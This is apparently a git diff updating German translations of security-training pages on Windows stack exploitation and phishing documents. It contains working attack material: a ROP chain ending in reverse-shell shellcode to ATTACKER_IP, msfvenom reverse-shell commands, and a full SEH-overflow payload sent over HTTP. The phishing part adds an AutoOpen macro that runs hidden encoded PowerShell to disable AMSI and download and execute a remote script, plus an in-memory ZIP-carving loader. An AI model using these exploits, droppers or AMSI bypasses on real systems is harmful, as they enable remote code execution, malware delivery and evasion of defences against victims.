(ret2stack shellcode) +## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -Auf modernen Windows-Systemen ist der Stack nicht ausführbar (DEP/NX). Eine gängige Methode, um dennoch stack-residenten shellcode nach einem stack BOF auszuführen, besteht darin, eine 64-Bit ROP chain zu bauen, die VirtualAlloc (oder VirtualProtect) aus der module Import Address Table (IAT) aufruft, um einen Bereich des Stacks ausführbar zu machen, und dann in den unmittelbar nach der chain angehängten shellcode zurückzuspringen. +Auf modernen Windows-Systemen ist der Stack nicht ausführbar (DEP/NX). Eine gängige Methode, um trotzdem stack-resident shellcode nach einem stack BOF auszuführen, ist das Erstellen einer 64-bit ROP-Kette, die VirtualAlloc (oder VirtualProtect) aus der Import Address Table (IAT) eines Moduls aufruft, um einen Bereich des Stacks ausführbar zu machen und anschließend in den nach der Kette angehängten shellcode zurückzukehren. Wichtige Punkte (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → wähle eine Adresse im aktuellen Stack (z. B. RSP), sodass der neu allocierte RWX-Bereich mit deinem Payload überlappt -- RDX = dwSize → groß genug für deine chain + shellcode (z. B. 0x1000) +- RCX = lpAddress → wähle eine Adresse im aktuellen Stack (z. B. RSP), sodass der neu zugewiesene RWX-Bereich mit deinem payload überlappt +- RDX = dwSize → groß genug für deine Kette + shellcode (z. B. 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) -- Direkt in den unmittelbar nach der chain platzierten shellcode zurückkehren. +- Return direkt in den unmittelbar nach der Kette platzierten shellcode. Minimale Strategie: -1) Leak a module base (z. B. via format-string, object pointer, etc.), um unter ASLR absolute Gadget- und IAT-Adressen zu berechnen. -2) Finde Gadgets, um RCX/RDX/R8/R9 zu laden (pop- oder mov/xor-basierte Sequenzen) und einen call/jmp [VirtualAlloc@IAT]. Falls du keine direkten pop r8/r9 hast, nutze arithmetische Gadgets, um Konstanten zu synthetisieren (z. B. r8=0 setzen und r9 wiederholt um 0x40 addieren, vierzig Mal, um 0x1000 zu erreichen). -3) Platziere Stage-2 shellcode unmittelbar nach der chain. +1) Leak eine Modulbasis (z. B. via a format-string, object pointer, etc.), um absolute Gadget- und IAT-Adressen unter ASLR zu berechnen. +2) Finde Gadgets, um RCX/RDX/R8/R9 zu laden (pop- oder mov/xor-basierte Sequenzen) und einen call/jmp [VirtualAlloc@IAT]. Falls direkte pop r8/r9 fehlen, nutze arithmetische Gadgets, um Konstanten zu synthetisieren (z. B. setze r8=0 und addiere wiederholt r9=0x40 vierzigmal, um 0x1000 zu erreichen). +3) Platziere stage-2 shellcode unmittelbar nach der Kette. -Beispiel-Layout (konzeptionell): +Example layout (conceptual): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Mit einem eingeschränkten gadget set kannst du Registerwerte indirekt konstruieren, zum Beispiel: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → setzt r9 aus rbx, nullt r8 und kompensiert den Stack mit einem Junk-qword. -- xor rbx, rsp; ret → initialisiert rbx mit dem aktuellen stack pointer. -- push rbx; pop rax; mov rcx, rax; ret → verschiebt den von RSP abgeleiteten Wert in RCX. +Mit einer eingeschränkten Auswahl an Gadgets kannst du Registerwerte indirekt erzeugen, zum Beispiel: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → setzt r9 aus rbx, nullt r8 und kompensiert den Stack mit einem junk qword. +- xor rbx, rsp; ret → initialisiert rbx mit dem aktuellen Stackzeiger. +- push rbx; pop rax; mov rcx, rax; ret → kopiert den von RSP abgeleiteten Wert in RCX. -Pwntools-Skizze (bei bekannter base und gadgets): +Pwntools-Skizze (bei bekannter Basisadresse und Gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -133,26 +133,26 @@ rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` Tipps: -- VirtualProtect funktioniert ähnlich, falls es vorzuziehen ist, einen bestehenden Buffer als RX zu markieren; die Parameterreihenfolge ist anders. -- Wenn der Stack-Speicher knapp ist, alloziere RWX an einer anderen Stelle (RCX=NULL) und jmp zu diesem neuen Bereich, anstatt den Stack wiederzuverwenden. -- Berücksichtige immer gadgets, die RSP anpassen (z. B. add rsp, 8; ret), indem du Junk qwords einfügst. +- VirtualProtect funktioniert ähnlich, falls es vorzuziehen ist, einen bestehenden Buffer RX zu verwenden; die Parameterreihenfolge ist anders. +- Wenn der Stack-Speicher knapp ist, alloziere RWX an einer anderen Stelle (RCX=NULL) und jmp in diese neue Region anstatt den Stack wiederzuverwenden. +- Berücksichtige immer Gadgets, die RSP anpassen (z. B. add rsp, 8; ret), indem du Junk-qwords einfügst. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse über mehrere Ausführungen hinweg zuverlässig ist; andernfalls wird die Adresse, an der die Funktion gespeichert wird, nicht immer dieselbe sein und du würdest irgendeinen leak benötigen, um herauszufinden, wo die win function geladen ist. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, sonst wird die kompromittierte EIP-Rücksprungadresse niemals ausgeführt. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar wäre. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse über Ausführungen hinweg zuverlässig ist, sonst ist die Adresse, an der die Funktion gespeichert wird, nicht immer gleich und du würdest irgendeinen leak benötigen, um herauszufinden, wo die win function geladen ist. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, sonst wird die manipulierte EIP-Rücksprungadresse nie ausgeführt. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection würde die Ausführung des shellcode im Stack verhindern, da diese Region nicht ausführbar wäre. ## Weitere Beispiele & Referenzen - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR mit stack address leak, Shellcode schreiben und zu diesem springen +- 64bit, ASLR mit stack address leak, shellcode schreiben und dorthin springen - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR mit stack leak, Shellcode schreiben und zu diesem springen +- 32 bit, ASLR mit stack leak, shellcode schreiben und dorthin springen - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR mit stack leak, Vergleich, um einen Aufruf von exit() zu verhindern, Variable mit einem Wert überschreiben, Shellcode schreiben und zu diesem springen +- 32 bit, ASLR mit stack leak, Vergleich, um den Aufruf von exit() zu verhindern, Variable mit einem Wert überschreiben, shellcode schreiben und dorthin springen - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, kein ASLR, ROP-gadget, um den Stack ausführbar zu machen und zum Shellcode im Stack zu springen +- arm64, no ASLR, ROP gadget, um den stack ausführbar zu machen und in den shellcode im stack zu springen ## Referenzen diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 0bfa8ccf5..005386bff 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation ist eine klassische x86 Windows-Technik, die die Structured Exception Handler-Kette ausnutzt, die auf dem Stack gespeichert ist. Wenn ein Stack-Buffer-Overflow die zwei 4-Byte-Felder überschreibt +SEH-based exploitation ist eine klassische x86 Windows-Technik, die die auf dem Stack gespeicherte Structured Exception Handler-Kette ausnutzt. Wenn ein Stack-Buffer-Overflow die beiden 4-Byte-Felder überschreibt -- nSEH: pointer to the next SEH record, and +- nSEH: pointer to the next SEH record, und - SEH: pointer to the exception handler function -kann ein Angreifer die Ausführung übernehmen, indem er: +kann ein Angreifer die Ausführung übernehmen durch: -1) SEH auf die Adresse eines POP POP RET-Gadgets in einem nicht-geschützten Modul setzt, sodass beim Auslösen einer Exception das Gadget in angreifer-kontrollierte Bytes zurückkehrt, und -2) nSEH verwendet, um die Ausführung umzuleiten (typischerweise ein short jump) zurück in den großen überlaufenden Buffer, in dem sich Shellcode befindet. +1) Setzen von SEH auf die Adresse eines POP POP RET gadget in einem nicht-geschützten Modul, so dass beim Dispatchen einer Exception das Gadget in angreifer-kontrollierte Bytes zurückkehrt, und +2) Verwenden von nSEH, um die Ausführung umzuleiten (typischerweise ein kurzer Sprung) zurück in den großen überlaufenden Buffer, in dem sich Shellcode befindet. -Diese Technik ist spezifisch für 32-bit Prozesse (x86). Auf modernen Systemen sollte man ein Modul ohne SafeSEH und ASLR für das Gadget bevorzugen. Bad characters beinhalten oft 0x00, 0x0a, 0x0d (NUL/CR/LF) aufgrund von C-Strings und HTTP-Parsing. +Diese Technik ist spezifisch für 32-Bit-Prozesse (x86). Auf modernen Systemen bevorzugt man ein Modul ohne SafeSEH und ASLR für das Gadget. Bad characters beinhalten oft 0x00, 0x0a, 0x0d (NUL/CR/LF) aufgrund von C-strings und HTTP-Parsing. --- ## Finding exact offsets (nSEH / SEH) -- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). -- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. +- Lasse den Prozess abstürzen und überprüfe, dass die SEH-Kette überschrieben ist (z. B. in x32dbg/x64dbg, check the SEH view). +- Sende ein cyclic pattern als überlaufende Daten und berechne die Offsets der beiden dwords, die in nSEH und SEH landen. Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash @@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Validiere, indem du Marker an diesen Positionen platzierst (z. B. nSEH=b"BB", SEH=b"CC"). Halte die Gesamtlänge konstant, um den Absturz reproduzierbar zu machen. +Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible. --- -## Auswahl eines POP POP RET (SEH gadget) +## Choosing a POP POP RET (SEH gadget) Du brauchst eine POP POP RET-Sequenz, um den SEH-Frame aufzulösen und in deine nSEH-Bytes zurückzukehren. Finde sie in einem Modul ohne SafeSEH und idealerweise ohne ASLR: -- Mona (Immunity/WinDbg): `!mona modules` dann `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` um POP POP RET gadgets und den SafeSEH-Status aufzulisten. +- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. -Wähle eine Adresse, die keine badchars enthält, wenn sie little-endian geschrieben wird (z. B. `p32(0x004094D8)`). Bevorzuge Gadgets innerhalb der vulnerable binary, wenn Schutzmechanismen dies erlauben. +Wähle eine Adresse, die keine badchars enthält, wenn sie little-endian geschrieben wird (z. B. `p32(0x004094D8)`). Bevorzuge Gadgets innerhalb des vulnerable binary, wenn die Schutzmechanismen das erlauben. --- ## Jump-back technique (short + near jmp) -nSEH ist nur 4 Bytes groß, was höchstens einen 2-Byte short jump (`EB xx`) plus padding zulässt. Wenn du Hunderte Bytes zurückspringen musst, um den Anfang deines Buffers zu erreichen, benutze einen 5-Byte near jump, der direkt vor nSEH platziert wird, und kette darauf mit einem short jump aus nSEH. +nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH. -Mit nasmshell: +With nasmshell: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Layout-Idee für eine 1000-Byte-Payload mit nSEH bei Offset 660: +Layout-Idee für eine 1000-byte payload mit nSEH bei Offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -72,16 +72,16 @@ payload += p32(0x004094D8) # SEH: POP POP RET (no badc payload += b"D" * (buffer_length - len(payload)) ``` Ablauf der Ausführung: -- Eine Exception tritt auf; der Dispatcher verwendet das überschreibene SEH. -- POP POP RET führt zur Übergabe der Kontrolle an unser nSEH. -- nSEH führt `jmp short -8` aus, das in den 5-Byte near jump springt. +- Es tritt eine Exception auf, der Dispatcher verwendet die überschriebenen SEH. +- POP POP RET sorgt für das Unwinden und führt so zur Ausführung unseres nSEH. +- nSEH führt `jmp short -8` in den 5-Byte near jump aus. - Der near jump landet am Anfang unseres Buffers, wo der NOP sled + shellcode liegen. --- ## Bad characters -Erstelle einen vollständigen badchar string und vergleiche den Stack-Speicher nach dem Crash; entferne Bytes, die vom Zielparser verfälscht werden. Bei HTTP-basierten overflows sind `\x00\x0a\x0d` fast immer ausgeschlossen. +Erstelle einen vollständigen badchar-String und vergleiche den Stack-Speicher nach dem Crash, entferne Bytes, die vom Zielparser verfälscht werden. Bei HTTP-basierten Overflows sind `\x00\x0a\x0d` fast immer ausgeschlossen. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case @@ -90,21 +90,21 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for ## Shellcode generation (x86) -Verwende msfvenom mit deinen badchars. Ein kleines NOP sled hilft, Abweichungen bei der Landung zu tolerieren. +Verwende msfvenom mit deinen badchars. Ein kleines NOP sled hilft, Positionsabweichungen zu tolerieren. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Wenn man es zur Laufzeit generiert, ist das Hex-Format praktisch, um es in Python einzubetten und zu unhexen: +Wenn man es on the fly generiert, ist das hex-Format praktisch, um es in Python einzubetten und zu unhexen: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- -## Ausliefern über HTTP (präzise CRLF + Content-Length) +## Senden über HTTP (präzise CRLF + Content-Length) -Wenn der verwundbare Vektor ein HTTP request body ist, erstelle eine rohe request mit exakten CRLFs und Content-Length, sodass der Server den gesamten überlaufenden Body liest. +Wenn der verwundbare Angriffsvektor der HTTP-Request-Body ist, erstelle eine rohe Anfrage mit exakt passenden CRLFs und korrekter Content-Length, damit der Server den gesamten überlaufenden Body liest. ```python # pip install pwntools from pwn import remote @@ -127,19 +127,19 @@ p.close() ## Werkzeuge -- x32dbg/x64dbg — um die SEH chain zu beobachten und den crash zu triagieren. -- ERC.Xdbg (x64dbg plugin) — zur Auflistung von SEH gadgets: `ERC --SEH`. +- x32dbg/x64dbg, um die SEH-Kette zu beobachten und den Crash zu analysieren. +- ERC.Xdbg (x64dbg plugin), um SEH-Gadgets aufzulisten: `ERC --SEH`. - Mona als Alternative: `!mona modules`, `!mona seh`. -- nasmshell — zum Assemblieren kurzer/near jumps und zum Kopieren roher Opcodes. -- pwntools — zum Erstellen präziser Netzwerk-Payloads. +- nasmshell, um short/near jumps zu assemblieren und rohe opcodes zu kopieren. +- pwntools, um präzise Netzwerk-Payloads zu erstellen. --- ## Hinweise und Einschränkungen -- Gilt nur für x86-Prozesse. x64 verwendet ein anderes SEH-Schema und SEH-basierte Exploits sind in der Regel nicht realisierbar. -- Bevorzugt Gadgets in Modulen ohne SafeSEH und ASLR; ansonsten ein ungeschütztes, in den Prozess geladenes Modul finden. -- Service watchdogs, die bei einem crash automatisch neu starten, können die iterative Exploit-Entwicklung erleichtern. +- Gilt nur für x86-Prozesse. x64 verwendet ein anderes SEH-Schema und SEH-basierte Exploitation ist generell nicht praktikabel. +- Bevorzuge Gadgets in Modulen ohne SafeSEH und ASLR; andernfalls finde ein ungeschütztes Modul, das im Prozess geladen ist. +- Service-Watchdogs, die bei einem Crash automatisch neu starten, können die iterative Exploit-Entwicklung erleichtern. ## Referenzen - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index fc2702f72..49af5ed02 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,22 +4,22 @@ ## Office-Dokumente -Microsoft Word führt eine Validierung der Datei-Daten durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifikation der Datenstrukturen gemäß dem OfficeOpenXML-Standard. Falls während der Identifikation der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet. +Microsoft Word führt vor dem Öffnen einer Datei eine Validierung der Dateidaten durch. Die Datenvalidierung erfolgt in Form der Identifikation der Datenstruktur gemäß dem OfficeOpenXML-Standard. Tritt während der Identifikation der Datenstruktur ein Fehler auf, wird die analysierte Datei nicht geöffnet. -In der Regel verwenden Word-Dateien mit Makros die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und dennoch ihre Fähigkeit zur Ausführung von Makros beizubehalten.\ -Zum Beispiel unterstützt eine RTF-Datei von vornherein keine Makros, aber eine als RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann Makros ausführen.\ -Die gleichen Interna und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint etc.). +In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und trotzdem die Ausführungsfähigkeit der Makros beizubehalten.\ +Zum Beispiel unterstützt eine RTF-Datei per Design keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann Makros ausführen.\ +Dieselben Interna und Mechanismen gelten für alle Programme der Microsoft Office Suite (Excel, PowerPoint etc.). -Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von bestimmten Office-Programmen ausgeführt werden: +Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX-Dateien, die auf eine Remote-Vorlage verweisen (File –Options –Add-ins –Manage: Templates –Go) und macros enthalten, können macros ebenfalls “ausführen”. +DOCX-Dateien, die auf eine entfernte Vorlage verweisen (File –Options –Add-ins –Manage: Templates –Go), die macros enthält, können ebenfalls macros “ausführen”. ### Externes Laden von Bildern Gehe zu: _Insert --> Quick Parts --> Field_\ -_**Kategorien**: Links and References, **Feldnamen**: includePicture, und **Filename or URL**:_ http:///whatever +_**Kategorien**: Links and References, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http:///whatever ![](<../../images/image (155).png>) @@ -29,12 +29,12 @@ Es ist möglich, macros zu verwenden, um arbitrary code aus dem Dokument auszuf #### Autoload-Funktionen -Je häufiger sie sind, desto wahrscheinlicher erkennt AV sie. +Je häufiger sie sind, desto wahrscheinlicher ist es, dass AV sie erkennt. - AutoOpen() - Document_Open() -#### Macros Code Examples +#### Macros Code-Beispiele ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -66,14 +66,14 @@ proc.Create "powershell ``` #### Metadaten manuell entfernen -Gehe zu **Datei > Info > Dokument prüfen > Dokument prüfen**, wodurch der Dokumentinspektor geöffnet wird. Klicke **Prüfen** und dann **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**. +Gehe zu **File > Info > Inspect Document > Inspect Document**, wodurch der Document Inspector geöffnet wird. Klicke **Inspect** und dann **Remove All** neben **Document Properties and Personal Information**. -#### DOC-Erweiterung +#### Doc-Erweiterung -Wenn fertig, wähle das Dropdown **Speichern als Typ**, ändere das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\ -Mach das, weil du **keine Makros in einer `.docx` speichern kannst** und es ein **Stigma** gegenüber der macro-enabled **`.docm`** Erweiterung gibt (z. B. das Thumbnail-Symbol hat ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` Erweiterung der beste Kompromiss**. +Wenn Sie fertig sind, wählen Sie das Dropdown **Save as type** und ändern Sie das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\ +Machen Sie das, weil Sie **can't save macro's inside a `.docx`** und es ein **stigma** **around** die macro-enabled **`.docm`** Erweiterung gibt (z. B. hat das Vorschauthumbnail ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` extension** der beste Kompromiss. -#### Malicious Macros Generators +#### Generatoren für bösartige Macros - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,9 +81,9 @@ Mach das, weil du **keine Makros in einer `.docx` speichern kannst** und es ein ## HTA-Dateien -Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Sie erzeugt die Benutzeroberfläche und wird als eine "voll vertrauenswürdige" Anwendung ausgeführt, ohne die Beschränkungen des Sicherheitsmodells eines Browsers. +Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Sie erzeugt die Benutzeroberfläche und läuft als eine "fully trusted" Anwendung, ohne die Beschränkungen des Sicherheitsmodells eines Browsers. -Eine HTA wird mittels **`mshta.exe`** ausgeführt, das typischerweise zusammen mit **Internet Explorer** **installiert** ist, wodurch **`mshta` von IE abhängig** ist. Wenn dieser deinstalliert wurde, können HTAs nicht mehr ausgeführt werden. +Eine HTA wird mit **`mshta.exe`** ausgeführt, welches typischerweise zusammen mit **Internet Explorer** **installed** ist, wodurch **`mshta` dependant on IE** ist. Wenn dieser deinstalliert wurde, können HTAs nicht ausgeführt werden. ```html <--! Basic HTA Execution --> @@ -138,11 +138,11 @@ var_func self.close ``` -## Erzwingen von NTLM-Authentifizierung +## Erzwingen von NTLM Authentication -Es gibt mehrere Möglichkeiten, die **NTLM-Authentifizierung "aus der Ferne"** zu erzwingen, zum Beispiel durch das Einfügen von **unsichtbaren Bildern** in E-Mails oder HTML, auf die der Benutzer zugreift (sogar HTTP MitM?). Oder indem man dem Opfer die **Adresse von Dateien** schickt, die allein durch das **Öffnen des Ordners** eine **Authentifizierung** **auslösen**. +Es gibt mehrere Möglichkeiten, **NTLM authentication "remotely"** zu erzwingen — zum Beispiel könntest du **unsichtbare Bilder** in E-Mails oder HTML einfügen, auf die der Benutzer zugreift (sogar HTTP MitM?). Oder dem Opfer die **Adresse von Dateien** schicken, die allein durch das **Öffnen des Ordners** eine **Authentifizierung** auslösen. -**Siehe diese Ideen und mehr auf den folgenden Seiten:** +**Sieh dir diese Ideen und mehr in den folgenden Seiten an:** {{#ref}} @@ -156,24 +156,24 @@ Es gibt mehrere Möglichkeiten, die **NTLM-Authentifizierung "aus der Ferne"** z ### NTLM Relay -Nicht vergessen: man kann nicht nur den Hash oder die Authentifizierung stehlen, sondern auch **NTLM relay attacks** durchführen: +Vergiss nicht, dass du nicht nur den Hash oder die Authentifizierung stehlen kannst, sondern auch **NTLM relay attacks** durchführen kannst: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Köderdokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den rohen Bytes des ZIP nach einem eindeutigen Marker gespeichert ist, und die .lnk diesen vollständig im Speicher extrahiert und ausführt. +Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Decoy-Dokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den Rohbytes des ZIPs nach einem eindeutigen Marker gespeichert ist, und die .lnk ihn ausschneidet und vollständig im Speicher ausführt. -Typischer Ablauf, implementiert durch den .lnk PowerShell-Einzeiler: +Typischer Ablauf, implementiert vom .lnk PowerShell One-Liner: -1) Finde das originale ZIP in gängigen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und dem übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses. -2) Lese die ZIP-Bytes und finde einen hardcodierten Marker (z.B. xFIQCV). Alles nach dem Marker ist das eingebettete PowerShell-Payload. -3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne die Köder-.docx, um legitim zu wirken. +1) Finde das ursprüngliche ZIP in üblichen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und im übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses. +2) Lies die ZIP-Bytes und finde einen hardcodierten Marker (z. B. xFIQCV). Alles nach dem Marker ist die eingebettete PowerShell-Payload. +3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne das Decoy-.docx, um legitim zu wirken. 4) AMSI für den aktuellen Prozess umgehen: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Die nächste Stufe deobfuskieren (z.B. alle #-Zeichen entfernen) und sie im Speicher ausführen. +5) Deobfuskation der nächsten Stufe (z. B. Entfernen aller # Zeichen) und Ausführung im Speicher. -Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe zu extrahieren und auszuführen: +Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe auszuschneiden und auszuführen: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Hinweise -- Die Zustellung missbraucht häufig vertrauenswürdige PaaS-Subdomains (z. B. *.herokuapp.com) und kann payloads einschränken (liefert harmlose ZIPs basierend auf IP/UA). -- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn via Reflection.Emit + VirtualAlloc aus, um Festplattenartefakte zu minimieren. +- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). +- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn via Reflection.Emit + VirtualAlloc aus, um Spuren auf der Festplatte zu minimieren. -Persistence, die in derselben Kette eingesetzt wird -- COM TypeLib hijacking des Microsoft Web Browser control, sodass IE/Explorer oder jede App, die es einbettet, den payload automatisch neu startet. Details und einsatzbereite Befehle hier: +In derselben Kette verwendete Persistence +- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- ZIP-Dateien, die den ASCII marker string (z. B. xFIQCV) enthalten, der an die Archivdaten angehängt wurde. -- .lnk, das 